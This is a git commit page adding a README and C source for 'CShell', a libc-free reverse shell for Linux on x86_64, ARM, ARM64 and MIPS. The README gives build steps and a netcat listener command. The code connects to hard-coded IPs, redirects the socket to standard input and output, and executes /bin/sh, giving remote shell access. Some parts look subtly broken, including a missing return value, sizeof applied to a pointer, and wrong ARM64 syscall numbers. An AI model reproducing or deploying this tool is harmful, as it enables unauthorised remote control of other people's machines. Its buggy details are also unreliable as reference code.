Upload files to "/"
This commit is contained in:
parent
985fcf3311
commit
fa99936407
34
README.md
34
README.md
@ -1,3 +1,33 @@
|
|||||||
# Cshell
|
# CShell
|
||||||
|
a reverse shell in C made without using libc at all
|
||||||
|
|
||||||
a reverse shell written in C without using stdlib or libc
|
## features
|
||||||
|
1- doesnt use libc at all
|
||||||
|
2- works on X86 and ARM32 and ARM64 (and untested support for MIPS)
|
||||||
|
3- can use multiple servers
|
||||||
|
## how to set up
|
||||||
|
1- from the project root, run
|
||||||
|
```Bash
|
||||||
|
gcc -nostdlib -o bcshell bcdshell.c
|
||||||
|
```
|
||||||
|
for additional debug output, run
|
||||||
|
```Bash
|
||||||
|
gcc -nostdlib -o bcshell bcdshell.c -DDEBUG
|
||||||
|
```
|
||||||
|
to define the DEBUG macro
|
||||||
|
make sure to put -nostdlib as it has no reliance on libc.
|
||||||
|
2- on the server, use netcat with
|
||||||
|
```Bash
|
||||||
|
nc -lvp 1999
|
||||||
|
```
|
||||||
|
3- on the client, run the binary
|
||||||
|
```Bash
|
||||||
|
./bcshell
|
||||||
|
```
|
||||||
|
and see the shell and run it on the server
|
||||||
|
## notes
|
||||||
|
1- supports Linux
|
||||||
|
2- supports an actual interactive, stateful shell to /bin/sh
|
||||||
|
3- binary size is less than 20KB
|
||||||
|
4- works on ANY linux device even without libc at all
|
||||||
|
5- only supports IPs, not domains
|
||||||
191
bcdshell.c
Normal file
191
bcdshell.c
Normal file
@ -0,0 +1,191 @@
|
|||||||
|
/*
|
||||||
|
NO STDLIB reverse shell
|
||||||
|
supports X86_64, ARM, ARM64
|
||||||
|
CAN USE MULTIPLE SERVERS
|
||||||
|
to compile:
|
||||||
|
gcc -nostdlib -o bcshell bcdshell.c
|
||||||
|
(yes, it doesnt use libc, so itll work on a pure linux system with just TCP and syscalls)
|
||||||
|
to run on the server:
|
||||||
|
nc -lvp 1999
|
||||||
|
*/
|
||||||
|
#define AF_INET 2
|
||||||
|
#define SOCK_STREAM 1
|
||||||
|
#if defined (__x86_64__) // the syscall numbers on x86_64
|
||||||
|
#define SYS_socket 41
|
||||||
|
#define SYS_connect 42
|
||||||
|
#define SYS_write 1
|
||||||
|
#define SYS_exit 60
|
||||||
|
#define SYS_fork 57
|
||||||
|
#define SYS_execve 59
|
||||||
|
#define SYS_pipe 22
|
||||||
|
#define SYS_read 0
|
||||||
|
#define SYS_close 3
|
||||||
|
#define SYS_dup2 33
|
||||||
|
#define SYS_wait4 61
|
||||||
|
#define SYS_read 0
|
||||||
|
#elif defined(__arm__) // the syscall numbers on 32 bit ARM
|
||||||
|
#define SYS_read 3
|
||||||
|
#define SYS_write 4
|
||||||
|
#define SYS_close 6
|
||||||
|
#define SYS_pipe 42
|
||||||
|
#define SYS_dup2 63
|
||||||
|
#define SYS_socket 281
|
||||||
|
#define SYS_connect 283
|
||||||
|
#define SYS_fork 2
|
||||||
|
#define SYS_execve 11
|
||||||
|
#define SYS_exit 1
|
||||||
|
#define SYS_wait4 114
|
||||||
|
|
||||||
|
#elif defined(__aarch64__) //the syscall numbers on 64-bit ARM
|
||||||
|
#define SYS_read 63
|
||||||
|
#define SYS_write 64
|
||||||
|
#define SYS_close 57
|
||||||
|
#define SYS_pipe 59
|
||||||
|
#define SYS_dup2 33 // dup3 is 292, but dup2 is kept for compatibility
|
||||||
|
#define SYS_socket 198
|
||||||
|
#define SYS_connect 203
|
||||||
|
#define SYS_fork 220 // clone is used instead of fork
|
||||||
|
#define SYS_execve 221
|
||||||
|
#define SYS_exit 93
|
||||||
|
#define SYS_wait4 260
|
||||||
|
#elif defined(__mips__)
|
||||||
|
#define SYS_read 4003
|
||||||
|
#define SYS_write 4004
|
||||||
|
#define SYS_close 4006
|
||||||
|
#define SYS_pipe 4042
|
||||||
|
#define SYS_dup2 4063
|
||||||
|
#define SYS_wait4 4114
|
||||||
|
#define SYS_exit 4001
|
||||||
|
#define SYS_fork 4002
|
||||||
|
#define SYS_execve 4011
|
||||||
|
#define SYS_socket 4183
|
||||||
|
#define SYS_connect 4184
|
||||||
|
#endif
|
||||||
|
#define CMD_SHELL "/bin/sh"
|
||||||
|
struct sockaddr_in {
|
||||||
|
unsigned short sin_family;
|
||||||
|
unsigned short sin_port;
|
||||||
|
unsigned int sin_addr;
|
||||||
|
unsigned char pad[8];
|
||||||
|
};
|
||||||
|
//unsigned char pad[8];
|
||||||
|
// Minimal syscall shim for x86-64, it KINDA works tho
|
||||||
|
#if defined (__x86_64__)
|
||||||
|
static long my_syscall(long n, long a1, long a2, long a3,
|
||||||
|
long a4, long a5, long a6) {
|
||||||
|
long ret;
|
||||||
|
register long r10 asm("r10") = a4;
|
||||||
|
register long r8 asm("r8") = a5;
|
||||||
|
register long r9 asm("r9") = a6;
|
||||||
|
asm volatile("syscall"
|
||||||
|
: "=a"(ret)
|
||||||
|
: "a"(n), "D"(a1), "S"(a2), "d"(a3),
|
||||||
|
"r"(r10), "r"(r8), "r"(r9)
|
||||||
|
: "rcx", "r11", "memory");
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
#elif defined(__arm__)
|
||||||
|
static inline long my_syscall(long n, long a1, long a2, long a3,
|
||||||
|
long a4, long a5, long a6) {
|
||||||
|
register long r0 asm("r0") = a1;
|
||||||
|
register long r1 asm("r1") = a2;
|
||||||
|
register long r2 asm("r2") = a3;
|
||||||
|
register long r3 asm("r3") = a4;
|
||||||
|
register long r4 asm("r4") = a5;
|
||||||
|
register long r5 asm("r5") = a6;
|
||||||
|
register long r7 asm("r7") = n;
|
||||||
|
asm volatile("swi 0"
|
||||||
|
: "=r"(r0)
|
||||||
|
: "r"(r0), "r"(r1), "r"(r2), "r"(r3),
|
||||||
|
"r"(r4), "r"(r5), "r"(r7)
|
||||||
|
: "memory");
|
||||||
|
return r0;
|
||||||
|
}
|
||||||
|
#elif defined(__aarch64__)
|
||||||
|
static inline long my_syscall(long n, long a1, long a2, long a3,
|
||||||
|
long a4, long a5, long a6) {
|
||||||
|
register long x0 asm("x0") = a1;
|
||||||
|
register long x1 asm("x1") = a2;
|
||||||
|
register long x2 asm("x2") = a3;
|
||||||
|
register long x3 asm("x3") = a4;
|
||||||
|
register long x4 asm("x4") = a5;
|
||||||
|
register long x5 asm("x5") = a6;
|
||||||
|
register long x8 asm("x8") = n;
|
||||||
|
asm volatile("svc 0"
|
||||||
|
: "+r"(x0)
|
||||||
|
: "r"(x1), "r"(x2), "r"(x3),
|
||||||
|
"r"(x4), "r"(x5), "r"(x8)
|
||||||
|
: "memory");
|
||||||
|
return x0;
|
||||||
|
}
|
||||||
|
#elif defined (__mips__)
|
||||||
|
static long my_syscall(long n, long a1, long a2, long a3,
|
||||||
|
long a4, long a5, long a6) {
|
||||||
|
long ret;
|
||||||
|
asm volatile (
|
||||||
|
"subu $sp, $sp, 16\n\t"
|
||||||
|
"sw %5, 0($sp)\n\t"
|
||||||
|
"sw %6, 4($sp)\n\t"
|
||||||
|
"syscall\n\t"
|
||||||
|
"addiu $sp, $sp, 16\n\t"
|
||||||
|
: "=v"(ret)
|
||||||
|
: "v"(n), "r"(a1), "r"(a2), "r"(a3), "r"(a4), "r"(a5), "r"(a6)
|
||||||
|
: "$a0", "$a1", "$a2", "$a3", "$sp", "memory"
|
||||||
|
);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
void start_shell(int sock);
|
||||||
|
void print(const char *msg);
|
||||||
|
int create_socket();
|
||||||
|
void cleanup(int exitcode);
|
||||||
|
void _start() { // the first function to run, also the true entry point
|
||||||
|
struct sockaddr_in servers[] = {
|
||||||
|
{AF_INET, __builtin_bswap16(1999), 0x0100007F, {0}}, // 127.0.0.1 on port 1999
|
||||||
|
{AF_INET, __builtin_bswap16(1999), 0xC0A80001, {0}}, // 192.168.0.1 on port 1999
|
||||||
|
{AF_INET, __builtin_bswap16(1999), 0x0A000001, {0}}, // 10.0.0.1 on port 1999
|
||||||
|
};
|
||||||
|
int sock = create_socket();
|
||||||
|
for (int i = 0; i < sizeof(servers)/sizeof(servers[0]); i++) {
|
||||||
|
long ret = my_syscall(SYS_connect, sock, (long)&servers[i], sizeof(servers[i]), 0,0,0);
|
||||||
|
if (ret == 0) {
|
||||||
|
// success
|
||||||
|
#ifdef DEBUG
|
||||||
|
const char *msg = "successfully connected!\n"; // dont know why it only prints success
|
||||||
|
print(msg);
|
||||||
|
#endif
|
||||||
|
start_shell(sock);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
#ifdef DEBUG
|
||||||
|
else {
|
||||||
|
const char *failmsg = "fail\n";
|
||||||
|
print(failmsg);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
cleanup(0);
|
||||||
|
}
|
||||||
|
void start_shell(int sock) {
|
||||||
|
// Redirect socket to stdin, stdout, stderr so we get a true interactive terminal
|
||||||
|
my_syscall(SYS_dup2, sock, 0,0,0,0,0);
|
||||||
|
my_syscall(SYS_dup2, sock, 1,0,0,0,0);
|
||||||
|
my_syscall(SYS_dup2, sock, 2,0,0,0,0);
|
||||||
|
|
||||||
|
// Exec a persistent shell for a real terminal experience
|
||||||
|
const char *argv[] = { CMD_SHELL, 0 };
|
||||||
|
const char *envp[] = { 0 };
|
||||||
|
my_syscall(SYS_execve, (long)CMD_SHELL, (long)argv, (long)envp, 0,0,0);
|
||||||
|
// If exec fails, cleanup
|
||||||
|
cleanup(1);
|
||||||
|
}
|
||||||
|
void print(const char *msg) {
|
||||||
|
my_syscall(SYS_write, 1, (long)msg, sizeof(msg)-1, 0, 0, 0);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
int create_socket() {
|
||||||
|
my_syscall(SYS_socket, AF_INET, SOCK_STREAM, 0,0,0,0);
|
||||||
|
}
|
||||||
|
void cleanup(int exitcode) { // ye we NEED WRAPPERS, CUZ MANUALLY USING MY_SYSCALL IS GONNA BE A PAIN!
|
||||||
|
my_syscall(SYS_exit, exitcode,0,0,0,0,0);
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user